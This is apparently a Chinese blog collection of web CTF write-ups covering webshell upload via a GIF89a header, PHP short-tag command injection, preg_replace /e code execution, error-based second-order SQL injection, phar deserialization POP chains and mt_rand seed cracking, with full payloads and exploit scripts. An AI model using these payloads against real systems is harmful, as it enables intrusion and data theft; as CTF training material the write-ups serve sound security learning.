[WUSTCTF2020]CV Maker

image-20240511164013440

开始的页面先随便注册一个账号,登录进去。

发现一个头像上传的地方:
image-20240511164050163

想到这个地方可能可以传木马进去,先在不做任何特殊操作的情况下传一个php一句话木马,观察回显:

image-20240511164219080

盲猜exif_imagetype是一个函数,它在这里检测到了上传内容的某些非法内容导致无法通过,直接上网搜:
image-20240511164331684

只读取并检查第一个字节,说明如果只存在这个函数的过滤下,只用对图像第一个字节动手脚就能通过。

于是加上GIF89a头进行上传,这次就成功了,甚至不用改后缀这些的。

image-20240511164457302

第二个点在于如何去寻找我们上传的文件在网页的哪个位置:
法一:

在burp的response页面直接搜索相应的关键词:

image-20240511164551472

法二:

右键显示图片的位置,直接点击检查:

image-20240511164641816

接着到达相应页面直接利用木马即可读取flag:

image-20240511164748078

[watevrCTF-2019]Cookie Store

大便题目,把Cookie用base64解一下,修改一下金额再base64回去,网页返回一个新的cookie,flag就在里面。

[红明谷CTF 2021]write_shell

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}

function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>

想了半天也没什么思路,去网上搜wp,正确的方法是利用php的短标签特性(以前遇到过,没有好好总结)

短标签:<? ?>

条件:开启php.ini中的short_open_tag

当可以使用短标签时,有如下特性:
<?=xxx?>等价于:<?php echo('xxx'); ?>

于是payload可以为这种形式进行命令的执行,并返回执行的结果:

1
<?=`ls`?>

在check函数中,空格被ban掉,可以采用%09来绕过:

根据:

1
file_put_contents("$dir" . "index.php", $data);

data内容被写入到$dir路径下的index.php中。

GET传参:action=pwd找到$dir的路径:sandbox/1254adea244b6ef09ecedbb729f6c397/

最终payload:

1
action=upload&data=<?=`tac%09/flllllll1112222222lag`?>

[H&NCTF 2024]Please_RCE_Me

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if($_GET['moran'] === 'flag'){
highlight_file(__FILE__);
if(isset($_POST['task'])&&isset($_POST['flag'])){
$str1 = $_POST['task'];
$str2 = $_POST['flag'];
if(preg_match('/system|eval|assert|call|create|preg|sort|{|}|filter|exec|passthru|proc|open|echo|`| |\.|include|require|flag/i',$str1) || strlen($str2) != 19 || preg_match('/please_give_me_flag/',$str2)){
die('hacker!');
}else{
preg_replace("/please_give_me_flag/ei",$_POST['task'],$_POST['flag']);
}
}
}else{
echo "moran want a flag.</br>(?moran=flag)";
}

看到这个部分:

1
preg_replace("/please_give_me_flag/ei",$_POST['task'],$_POST['flag']);

一眼丁真鉴定为preg在/e模式下的php代码执行。

所以$_POST['flag']的内容首先要被匹配到。

第一步:

观察到第一次匹配中没有开启忽略大小写,便可以使用大小写绕过:

1
flag=Please_give_me_flag

现在传参的task已经可以执行php代码了。

前面的正则表达式中ban掉几乎所有的php命令执行函数,可以想到嵌套php代码进行遍历目录。

我使用的payload:

1
flag=Please_give_me_flag&task=var_dump(scandir(chr(47)))

发现根目录下有个叫做flag的文件,需要想办法对其进行读取。

读取的函数:readfile()

但是flag关键字被ban了,想到用取反的方式进行绕过,最终构造payload如下:

1
task=readfile(~(%D0%99%93%9E%98))&flag=Please_give_me_flag

image-20240512204941949

有个奇怪的问题就是这串payload无法用hackbar传进去,上网搜了相关的资料也无法解决(%号换成%25)

[CISCN 2023 华北]ez_date

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
error_reporting(0);
highlight_file(__FILE__);
class date{
public $a;
public $b;
public $file;
public function __wakeup()
{
if(is_array($this->a)||is_array($this->b)){
die('no array');
}
if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
$content=date($this->file);
$uuid=uniqid().'.txt';
file_put_contents($uuid,$content);
$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
echo file_get_contents($data);
}
else{
die();
}
}
}

unserialize(base64_decode($_GET['code']));

首先绕过第一个if,利用数字型、字符型绕过,构造:
$a=1;$b='1'

二者经过md5和sha1之后的值仍然相等,然而$a与$b却不强相等。

使用\绕过date()函数,举例:

1
2
3
4
5
6
7
<?php

$a = "/xiaofuc";
$b = "/x\i\a\o\\f\u\c";

echo (date($a))."\n";
echo (date($b))."\n";

回显:

1
2
/x41am2024f0000002024-05-13T09:41:45+00:00
/xiaofuc

不太懂得为什么遇到字母’f’时需要多加一个反斜杠。

综上所述构造exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);
highlight_file(__FILE__);
class date{
public $a;
public $b;
public $file = '/f\l\a\g';

}

$x = new date;
$x->a = '1';
$x->b = 1;
echo(base64_encode(serialize($x)));

image-20240513174304415

[RCTF2015]EasySQL

/register.php路由中,注册username为:1\

image-20240514191327577

登录后在changepwd.php页面中,随意改密码,发现回显:

image-20240514191612688

推测后端的查询语句为:

1
update users set password='xxxx' where username="xxxx" and pwd='202cb962ac59075b964b07152d234b70'

发现存在二次注入漏洞:在注册用户的页面对username进行修改,闭合掉",并塞进自己构造的语句。

第二点就是这个页面存在报错的回显,所以想到可以使用报错注入。

/register.php的username进行fuzz,发现过滤了空格。

首先查询数据库名:

注册用户名:

1
a"||extractvalue(0,concat(0x7e,database()))#

来到改密码页面进行修改,执行自己构造的语句,回显:

image-20240514192047400

接下来同理,payload如下:

1
a"||extractvalue(0,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)='web_sqli')))#

回显:

image-20240514192346235

接着查字段:

1
a"||extractvalue(0,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users')))#

回显:

image-20240514192542579

发现real_flag_1s_her字段查不到,说明报错回显的长度有限制,于是可以构造如下payload:

1
a"||extractvalue(0,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users'&&(column_name)regexp('^r'))))#

如果直接使用payload:

1
a"||extractvalue(0,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users))))#

会发现回显中只出现了字符:x因为长度被限制了,真正的flag被放在后面,这里又可以利用regexp()构造上面类似的payload

1
a"||extractvalue(0,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))))#

得到了前半部分的flag:

image-20240514194701329

经过前面的fuzz可以发现right、left、mid等函数都被过滤了,于是使用reverse函数,把flag倒序输出,就可以看到后面几位了:

1
a"||extractvalue(0,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))))#

image-20240514194905378

接下来把后面得到的倒序,通过python脚本倒序回来,就可以拼接成正确的flag了。

[CISCN2019 华北赛区 Day1 Web1]Dropbox

注册并登录后发现一个能上传文件的页面,想着传个图片马进去,发现并没有正常上传,抓包看看:

image-20240516193921673

那么先随便上传个png进去,发现有个下载与删除的选项。

抓个下载包:

image-20240516194040696

注意到框住的部分可能存在任意文件下载漏洞,试着传入index.php但是显示找不到文件。

原来是文件路径的问题,使用绝对路径进行传入:

image-20240516194209726

果然有了正常的回显,利用这个漏洞我们可以读取题目的源码。

首先关注到class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
public $db;

public function __construct() {
global $db;
$this->db = $db;
}

public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}

public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}

public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}

public function __destruct() { //这里是唯一可能进入下面close方法的地方
$this->db->close();
}
}

class FileList {
private $files;
private $results;
private $funcs;

public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);

$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);

foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}

public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

public function __destruct() { //输出上传的文件信息
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
} //输出$result数组中的内容

$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">涓嬭浇</a> / <a href="#" class="delete">鍒犻櫎</a></td>';
$table .= '</tr>';
}
echo $table;
}
}

class File {
public $filename;

public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}

public function name() {
return basename($this->filename);
}

public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}

public function detele() {
unlink($this->filename);
}

public function close() {
return file_get_contents($this->filename); //这里出现了一个文件读取函数,很可能用得到
}
}
?>

先得想办法触发User类中的__destruct方法,那就是利用phar反序列化。

看到delete.php的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

if (!isset($_POST['filename'])) {
die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele(); //<===========================跟进到这里
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>

delete函数的定义在File类中:

1
2
3
public function detele() {
unlink($this->filename);
}

注意:unlink函数会触发phar反序列化

所以我们可以利用/delete.php路由,进行phar反序列化,这里进行反序列化,就可以触发class.php中User类的destruct方法。

第二次审计class.php,构造pop链。

思路一:

修改User类中的db变量为new File,修改File类中的filename变量为/flag.txt,触发destruct方法:$this->db->close();直达File类的close方法,对flag进行读取。

然而,file_get_contents函数本身并不会回显文件的内容,它需要把读取的内容赋给一个变量,想要获取文件内容,必须要对该变量进行读取。综上,思路一不可行。

思路二:

由于FileList中的destruct方法可以对$result数组进行输出,所以可以想办法把flag内容弄到$result数组中,FileList类中的__call方法完美地实现了这个想法:

1
2
3
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}

可以人为地将$files改为new File,而$func变量存着的就是FileList中不存在的方法名,也就是我们构造进去的close,所以它会实现:把$file类下的close方法给赋值到$result数组中,这就达成了最终目的。

EXP如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php

class User {
public $db;

}

class FileList {
private $files;
private $results;
private $funcs;

public function __construct($path) {
$this->files[] = new File;
$this->results = array();
$this->funcs = array();
}

}

class File {
public $filename = '/flag.txt';

public function close() {
return file_get_contents($this->filename);
}
}

$o = new User;
$o->db = new FileList;
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest,setMetadata()会将对象进行序列化
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering(); //签名自动计算
#本题要将生成得phar文件放入010修改属性数量来绕过weak_up
#php.ini中phar.readonly改成Off

将新生成的phar.phar把后缀改成png,上传到页面。

抓个删除包,把filename改成:phar://phar.png即可得到flag。

image-20240516203045952

[GWCTF 2019]枯燥的抽奖

源代码中发现check.php路由,直接进入查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";


if(isset($_POST['num'])){
if($_POST['num']===$str){x
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");

本题运用了php伪随机数的性质:

每一次调用mt_rand()函数的时候,都会检查一下系统有没有播种,(播种是由mt_srand()函数完成的),当随机种子生成后,后面生成的随机数都会根据这个随机种子生成。

来看一个示例:

demo1:

1
2
3
4
<?php
mt_srand(1);
echo(mt_rand());
//输出1244335972

demo2:

1
2
3
4
<?php
mt_srand(1);
echo(mt_rand());
//输出1244335972

在两个不同的脚本中输出随机数,在同一种子下都可以获得同一个值。说明了这个随机值的可预见性。

这里利用到php_mt_seed工具,在使用之前需要用python脚本转换成工具能读懂的形式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
str1 ='tpJ6L2SptF'   //题目泄露的前十位值
str2 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
result =''


length = str(len(str2)-1)
for i in range(0,len(str1)):
for j in range(0,len(str2)):
if str1[i] == str2[j]:
result += str(j) + ' ' +str(j) + ' ' + '0' + ' ' + length + ' '
break


print(result)

启动kali-linux开始爆破种子:

image-20240516205256730

注意这个种子是php7.1以上的。

得到种子后直接照葫芦画瓢,出来最终的值。

EXP:

1
2
3
4
5
6
7
8
9
10
mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";

image-20240516205510416

提交获得flag:

image-20240516205528655